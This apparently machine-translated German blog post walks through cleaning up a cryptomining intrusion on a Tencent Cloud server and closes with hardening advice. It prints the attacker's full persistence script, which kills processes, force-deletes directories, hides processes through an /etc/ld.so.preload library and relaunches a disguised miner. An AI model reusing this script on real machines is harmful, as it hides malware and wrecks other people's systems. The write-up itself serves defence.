1. Server-Intrusion-Phänomen
Kürzlich scheint der Server eines Freundes (der selbst eine Website erstellt hat) angegriffen worden zu sein. Das spezifische Phänomen ist: Die Serverressource CPU
ist für lange Zeit 100 % und die Auslastung ist hoch. Der Dienst auf dem Server kann Dienste nicht normal bereitstellen.
Mein Freund hat sich eine Zeit lang darum gekümmert und es nicht gelöst. Ich begann zu denken, dass ich nicht im Sicherheitsgeschäft tätig sei, wie könnte ich das auch, aber mein Freund verlangte einen horrenden Preis, und ich senkte den Kopf vor Leben und Wirklichkeit. Lass uns anfangen.
2. Serveruntersuchung und -verarbeitung
2.1. Mögliche Gründe für Server-Hacking
- Server-
ssh
Passwörter sind einfach einzurichten. - Der Umfang der Tencent Cloud-Sicherheitsgruppe ist sehr groß.
- Die Pagode wird verwendet, und das Passwort des Pagodenpanels ist ebenfalls ein sehr einfaches Passwort (sollte nicht der Einbruchseingang sein).
2.2, Untersuchungs- und Bearbeitungsschritte
-
ps -ef
/top
Finden Sie den Dienst, der den meisten Prozess in Anspruch nimmtProblemphänomen
ps/top
Befehl wurde ersetzt. -
Finden Sie detaillierte Einbruchsspuren
last
odergrep 'Accepted' /var/log/secure
.Problemphänomen
[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2 Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2 Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2 Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2 Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
Leuchtturm Tencent Cloud Lightweight Server
Wir können hier sehen, dass es einige
境外IP 34.215.138.2
erfolgreiche Anmeldungen gibt, diesIP
sind nicht unsere normalen Anmeldungen. Im/var/log/secure
Protokoll habe ich gesehen, dassIP 34.215.138.2
der Crack nach weniger als 500 Anmeldeversuchen erfolgreich war.Behandlungsmaßnahmen
Hier machen wir gleich den ersten Schritt,
-
Die Tencent Cloud-Sicherheitsgruppe schränkt SSH-Anmeldungen ein
IP
, und die vorherige Sicherheitsgruppe SSH erlaubte alleIP
. -
Ändern Sie das SSH-ROOT-Passwort.
-
/root/.ssh/authorized_keys
Backup und leer.[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
Zu diesem Zeitpunkt sind wir auf das Berechtigungsproblem gestoßen, das später besprochen wird, da wir die Quelle eingeschränkt haben
IP
, damit wir uns später darum kümmern können.
-
-
Sehen Sie sich einige kürzlich hinzugefügte Benutzer an
Problemphänomen
cat /etc/passwd
Behandlungsmaßnahmen
Benutzer sperren
[root@VM-12-12-centos ~]# usermod -L sys1
-
Ich habe nicht vor, den Prozess hier zu finden (ich erstelle bereits ein neues System mit derselben Version, zum Kopieren
top
undps
Befehlen wird es eine Weile dauern, schauen wir uns zunächst andere an), weil ein Freund neu gestartet hat Der Server zuvor und festgestellt, dass der Server gestartet wurde. Die Last wird nach einer Weile höher sein. Ich denke, der Eindringling sollte einige Cron-Tasks und Startskripte hineinstecken.Problemphänomen
zeitgesteuerte Aufgabe
crond
Beim Lesen werden Konfigurationsdateien aus den folgenden Pfaden gelesen:/var/spool/cron/
,crontab -e
wird von geschrieben, die Konfigurationsdatei muss keinen Benutzer angeben/etc/crontab
, kann nurroot
bearbeitet werden, die Konfigurationsdatei muss den Benutzer angeben/etc/cron.d/
,Erstellen Sie in diesem Ordner eine geplante Aufgabendatei. In der Konfigurationsdatei muss der Benutzer angegeben werden/etc/cron.*
/var/spool/cron/
Nicht gefunden/etc/crontab
Nicht gefundenAber ich
/var/log/cron
sehe immer wieder, dass Aufgaben ausgeführt werden. Alle 5 Minuten.Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M ) Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1) Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root ) Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root ) Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
Behandlungsmaßnahmen
Der erste Vorgang, den wir hier ausführen, besteht darin,
/usr/lib/mysql/mysql
zuerst die Summe zu/sbin/httpss
löschen . Beim Löschen wird immer noch angezeigt, dass keine Berechtigung vorliegt. Wir wussten, dass die Dateien gesperrt werden sollten, also begann ich, sie zu entsperren, und wir stellten fest, dass siechattr
ebenfalls ersetzt und gesperrt wurden. Es kann also nicht mehr funktionieren.Boot-Skript
/etc/rc.local
, wir haben auch ein Skript gefunden.[root@VM-12-12-centos ~]# cat /etc/rc.local #!/bin/bash # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES # # It is highly advisable to create own systemd services or udev rules # to run scripts during boot instead of using this file. # # In contrast to previous versions due to parallel execution during boot # this script will NOT be run after all other services. # # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure # that this script will be executed during boot. /usr/bin/0f4f80f9ab start
Diese Datei scheint jedoch nicht zu existieren, daher haben wir sie auskommentiert.
-
Zurücksetzen geändert
top
,ps
,chattr
,lsattr
.-
Zuerst haben wir von derselben Versionsmaschine kopiert
chattr
.lsattr
Dies müssen wir zuerst tun, da unseretop
undps
gesperrt sind. -
Ich lade die Datei in
/tmp
das Verzeichnis hoch, erhöhe dann die ausführbaren Berechtigungen und/usr/bin/chattr
entsperre sie dann zuerst./tmp/chattr -ai /usr/bin/chattr
-
Nach der Ausführung wurde festgestellt, dass es immer noch nicht ersetzt werden konnte
/usr/bin/chattr
. Am Ende dauerte es eine Weile, bis mir klar wurde, dass der Eindringling möglicherweise nicht nur die Datei sperrt, sondern sie auch selbst sperrt/usr/bin/
. -
Verzeichnis entsperren
/tmp/chattr -ai /usr/bin/
-
Erst dann kann es
/usr/bin/chattr
ersetzt werden. -
Als Nächstes haben wir die Summe wiederhergestellt
top
und .ps
lsattr
Teil-Screenshot
-
3. Die Punkte, die diese Invasion braucht, um Inspiration zu bringen
-
ps
、top
、chattr
、lsattr
In dem Szenario, in dem diese Befehle ersetzt werden und wir wiederherstellen möchten, dies aber nicht kann, können wir dieselben Befehle derselben Version des Computers kopieren und in anderen Verzeichnissen ablegen und diese Befehle verwenden, um den Eindringling davon zu befreien, die Dateien zu ersetzen und zu sperren . Beachten Sie, dass einige Eindringlinge nicht nur auf Dateiebene, sondern auch auf der Verzeichnisebene der aktuellen Datei sperren. Ich war vorher eine Weile verwirrt darüber.
-
Dateiinhalt ausgeblendet
Oben habe ich und cat ausgeführt, um die Datei unten
crontab -l
anzuzeigen ./etc/cron.d/
Es wurde festgestellt, dass die Datei keinen Inhalt hat.Tatsächlich weiß ich nicht, welche Sonderzeichen verwendet werden oder was verborgen ist. Tatsächlich gibt es geplante Aufgaben.
Beispiel:
Wie führt diese Konfiguration dazu, dass cat/more sie nicht lesen kann? Ich habe es mir heute noch einmal angesehen und diese Datei kann als Datendatei angesehen werden, da nach der Überprüfung der Datei das Dateiattribut „Daten“ lautet. Dann enthält die Datei spezielle Charaktere. Infolgedessen ist es verborgen. Ich habe hier die Einzelheiten des Prinzips zum Auffinden versteckter Zeichen beim Servereinbruch erklärt .
-
eines der Skripte.
[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 #!/bin/sh while test 1 = 1 do sleep 30 pkill -f main killall main killall sprshduerjsaia pkill -f sprshduerjsaia killall dr64 pkill -f dr64 killall .report_system pkill -f .report_system killall sshc pkill -f sshc pkill -f memory killall memory killall warmup killall koko killall kthreaddk killall systemc killall cront killall xm64_linux killall /var/tmp/j/./intelshell pkill -f dos32 pkill -f dos64 pkill -f .name pkill -f /usr/sbin/dbus pkill -f systemd-boot-check-no-failures killall .report_system pkill -f .report_system pkill -f keep-alive pkill -f linu pkill -f zapppp killall [scan] killall [ext4] pkill -f xm64_linux pkill -f ddrirc killall ./-bash pkill -f ./-bash killall kworkers killall dbus pkill -f biden1 pkill -f cpuminer-sse2 killall work64 pkill -f work64 killall work32 pkill -f work32 killall aarch12 pkill -f aarch12 killall bash1 pkill -f bash1 killall intelshell pkill -f intelshell killall heaven pkill -f heaven killall .syst3md pkill -f .syst3md pkill -f apachelogs killall .meinkampf pkill -f .meinkampf killall xri pkill -f xri killall koko pkill -f koko killall work32-deamon pkill -f work32-deamon killall work64 -deamon pkill -f work64 -deamon killall secure.sh pkill -f secure.sh kkillall auth.sh pkill -f auth.sh killall autoupdate pkill -f kworkers pkill -f autoupdate killall ld-linux pkill -f ld-linux pkill -9 Donald killall -9 Donald pkill -f /usr/local/bin/pnscan pkill -f /usr/bin/biden1 killall /usr/bin/biden1 killall r killall trace pkill -f minerd killall minerd pkill -f xm64 killall xm64 pkill -f sysdm killall sysdm pkill -f syst3md killall syst3md pkill -f xrig killall xrig pkill -f busybox killall busybox pkill -f joseph killall joseph pkill -f osama killall osama killall daemon pkill -f obama1 killall obama1 pkill -f kswapd0 killall kswapd0 pkill -f jehgms killall jehgms pkill -f tsm killall tsm pkill -f rig killall rig pkill -f xmr killall xmr pkill -f playstation killall playstation pkill -f ld-linux-x86-64 killall ld-linux-x86-64 pkill -f ruckusapd killall ruckusapd pkill -f run64 killall run64 pkill -f pwnrig killall pwnrig pkill -f phpupdate killall phpupdate pkill -f sysupdate killall sysupdate pkill -f phpguard killall phpguard pkill -f firstpress killall firstpress pkill -f zerocert killall zerocert pkill -f masscan killall masscan pkill -f -bash pkill -f spreadQlmnop killall spreadQlmnop killall -bash pkill -f cnrig killall cnrig pkill -f netvhost killall netvhost pkill -f kthreadds killall kthreadds pkill -f kthreadd killall kthreadd pkill -f kdevtmpfsi killall kdevtmpfsi pkill -f linuxservice killall linuxservice pkill -f rtmonitor killall rtmonitor pkill -f dev killall dev pkill -f xmrig killall xmrig pkill -f master killall master killall sysmd pkill -f sysmd pkill -f sendmail killall sendmail pkill -f ld-musl-x86_64. killall ld-musl-x86_64. killall watchdog pkill -f watchdog pkill -f 32678 killall 32678 killall dhpcd pkill -f dhpcd killall linux_amd64 pkill -f linux_amd64 killall xredis pkill -f xredis killall Linux2.6 killall .chornyd pkill -f .chornyd killall Opera pkill -f Opera killall libertyd pkill -f libertyd killall rcubind pkill -f rcubind killall clamscan pkill -f clamscan killall pnscan pkill -f pnscan killall zzh pkill -f zzh killall bioser pkill -f bioser rm -rf /root/.configrc/ rm -rf /tmp/.X26-unix/ rm -rf /tmp/.bash/ rm -rf /root/.bash/ rm -rf /root/.cache/ rm -rf /tmp/.cache/ rm -rf /dev/shm/.ssh/ rm -rf /etc/.etcservice/linuxservice rm -rf /etc/.vhost/netvhost rm -rf /tmp/up.txt rm -rf /var/tmp/.update/ rm -rf /var/tmp/.systemd/ rm -rf /usr/sbin/.bash./.bash/ rm -rf /etc/master rm -rf /usr/bin/busybox rm -rf /bin/sysmd rm -rf /tmp/.mx/ rm -rf /dev/shm/.mx/ rm -rf /usr/bin/xrig rm -rf /etc/32678 rm -rf /root/c3pool/ rm -rf /usr/bin/.sshd/ rm -rf /tmp/div systemctl stop c3pool_miner.service systemctl stop pwnriglhttps.service systemctl stop cryto systemctl stop scan systemctl stop bot systemctl stop myservice.service systemctl stop netns.service systemctl stop cryptsetup.service echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload lockr +ai /etc/ld.so.preload >/dev/null 2>&1 chmod 777 /usr/lib/mysql/* /usr/lib/mysql/./mysql done
/etc/ld.so.preload
Wir können sehen, was dieses Skript tatsächlich ständig ändert . Und schließen Sie einige Scan-Software und Systemdienste.Während des Ladevorgangs der dynamischen Linkbibliothek des Linux-Betriebssystems liest der dynamische Linker den Wert der Umgebungsvariablen LD_PRELOAD und den Dateiinhalt der Standardkonfigurationsdatei /etc/ld.so.preload und lädt die Lesedynamik vor Link-Bibliothek. Auch wenn das Programm nicht von diesen dynamischen Link-Bibliotheken abhängig ist, werden die in der Umgebungsvariablen LD_PRELOAD und der Konfigurationsdatei /etc/ld.so.preload angegebenen dynamischen Link-Bibliotheken dennoch geladen, und ihre Priorität ist höher der durch die Umgebungsvariable LD_LIBRARY_PATH definierten Linkbibliothekssuche. Die Dateipriorität des Pfads ist höher, sodass er vor der vom Benutzer aufgerufenen dynamischen Bibliothek geladen werden kann.
——Ein zitierter Absatz aus „Vorsicht vor Backdoors Using Linux Preloaded Malicious Dynamic Link Libraries“
Ich habe die Datei gelöscht
/usr/local/lib/libprocesshider.so
und dieser Fehler wird jedes Mal gemeldet, wenn ich den Befehl ausführe.Nachdem ich die Datei gelöscht hatte
/etc/ld.so.preload
, stellte ich fest, dass dies nach einer Weile immer noch angezeigt wurde. Ich schaute mir die Datei noch einmal an/etc/ld.so.preload
und sie wurde erneut geschrieben/usr/local/lib/libprocesshider.so
. Ich vermutete, dass es geplante Aufgaben gab, suchte aber eine Weile nach den geplanten Aufgaben, aber Ich konnte sie immer noch nicht finden. Als ich später den abnormalen Prozess überprüfte, sah ich diesen ProzessDerjenige, der dieses Skript gefunden hat, hat den oben genannten Inhalt in einer Schleife ausgeführt. Nachdem Sie den Prozess beendet haben, löschen Sie das Skript.
4. Einige Enthüllungen darüber, dass der Server dieses Mal angegriffen wurde
-
Nutzen Sie die Sicherheitsgruppe des Cloud-Anbieters sinnvoll aus. Für einige wichtige Häfen sollten die Abstandsregeln so gering wie möglich sein/
-
Einige serverbezogene Passwörter versuchen, die Komplexität zu erhöhen.
-
Erhöhen Sie die Überwachung einiger Schlüsseldateien. (Überwachen Sie den MD5-Wert mithilfe einer Überwachungssoftware.)
- /etc/passwd
- /etc/shadow
- /etc/group
- /root/.bash_history
- /root/.ssh/authorized_keys
- /etc/ssh/sshd_config
- /etc/profile
- /var/spool/cron/root
- /etc/crontab
- /etc/ld.so.preload
- /etc/rc.local
- lsof
- PS
- netstat
- Spitze
- ls
- pstree
- zuletzt
- Geschichte
- Sudo
- Passwort
chattr
lsattr
-
Nachdem der Server angegriffen wurde, müssen wir das Beste tun.
Host Security Linux Intrusion Troubleshooting-Ideen-Troubleshooting-Document Center-Tencent Cloud
-
Wenn der Server über eine offene SSH-Remote-Anmeldung verfügt, können Sie Einschränkungen für die Anmeldung festlegen (Sicherheitsgruppe oder Dienst) und nur Ihre eigenen zulassen
IP
. Suchen Sie nach detaillierten Einbruchsspurenlast
odergrep 'Accepted' /var/log/secure
/root/.ssh/authorized_keys /etc/passwd Diese Dateien können auch angezeigt werden. Sperren Sie einige neu erstellte Benutzer.
-
Wenn der Server das externe Netzwerk schließen kann, schließen Sie das externe Netzwerk. Unter den Einstellungen auf Sicherheitsgruppenebene oder Routing oder NAT.
-
Überprüfen Sie zunächst
ps/top
, ob der Befehl manipuliert wurde, und kopieren Sie ihn in diesem Fall von anderen normalen Maschinen auf den Server. Führen Sie dann die Ausführung aus, um den abnormalen Prozess anzuzeigen. Überprüfen Sie außerdem,/etc/ld.so.preload
ob es manipuliert wurde. Wenn dies der Fall ist, denken Sie daran, den darin enthaltenen Inhalt zu löschen und dann die entsprechende Datei zu löschen oder umzubenennen.Wenn Sie auf das Problem stoßen, dass die Datei während der Verwendung nicht gelöscht oder geändert werden kann, wenn Sie sie verwenden müssen und
chattr -ia 文件名
siechattr
auch geändert wird, müssen Sie sie von einem anderen Computer kopieren. Dann wiederherstellen. -
Wenn das Obige nicht gefunden wird, können Sie
netstat
den abnormalen Prozess abfragen, indem Sie die abnormale Verbindung indirekt anzeigen. -
Überprüfen Sie den Startvorgang und
crontab
den zugehörigen Inhalt. -
Suchen Sie nach abnormalen Prozessen.
-
Das Obige ist der Verarbeitungsprozess dieser Invasion und einiger kleinerer Erkenntnisse, die wir erhalten haben, und wir werden weiterhin neue hinzufügen, sobald wir mehr erfahren.